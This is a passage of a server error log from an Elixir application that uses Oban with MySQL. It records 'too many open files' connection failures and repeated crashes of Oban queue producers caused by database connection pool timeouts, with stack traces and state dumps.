    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:28:23.240094Z], limit: 3, uuid: "0a375098-8637-4473-a993-430dbce73b22", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:28:23.240100Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.8095>, refresh_timer: #Reference<0.2525715032.1068498948.8072>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:28:37.147000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:38.539000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:40.650000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:42.804000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:43.971000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:46.502000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:48.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 892ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:28:36.239305Z], limit: 5, uuid: "36d8dfaf-4991-4e31-b17f-e159a887bccf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:28:36.239311Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.117507>, refresh_timer: #Reference<0.2525715032.1099431938.17849>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:28:48.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:28:36.240158Z], limit: 3, uuid: "507b0753-b348-4f11-8238-a99c9db02d5e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:28:36.240164Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.8231>, refresh_timer: #Reference<0.2525715032.1068498948.8228>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:28:48.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 872ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:28:36.239094Z], limit: 10, uuid: "f9a0216e-0cfe-4dec-af69-89800eb7b57f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:28:36.239099Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.117505>, refresh_timer: #Reference<0.2525715032.1121189889.117469>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:28:48.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1095ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:28:36.239477Z], limit: 20, uuid: "a86b8bd3-9f24-4f46-a6a0-0ba9379e0101", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:28:36.239482Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.17851>, refresh_timer: #Reference<0.2525715032.1099431938.17850>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:28:48.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1087ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:28:36.238934Z], limit: 5, uuid: "9ddcc6a9-6a90-477f-b81e-dbd156f0fde1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:28:36.238941Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.117506>, refresh_timer: #Reference<0.2525715032.1121189889.117461>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:28:48.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1029ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:28:36.239272Z], limit: 50, uuid: "0b65434d-d5d0-466a-a76a-ec3815922319", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:28:36.239278Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.117508>, refresh_timer: #Reference<0.2525715032.1099431938.17844>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:28:51.522000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:52.822000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:55.843000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:58.942000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:29:00.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1074ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:28:48.247211Z], limit: 5, uuid: "93e8b757-00fd-4d28-8c6f-0c8cf4a9cb93", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:28:48.247216Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.250514>, refresh_timer: #Reference<0.2525715032.1077411843.250503>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:00.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 874ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:28:48.244718Z], limit: 3, uuid: "2b8cc593-f485-4a31-a45d-33463117a33f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:28:48.244725Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.8379>, refresh_timer: #Reference<0.2525715032.1068498948.8348>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:29:00.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 849ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
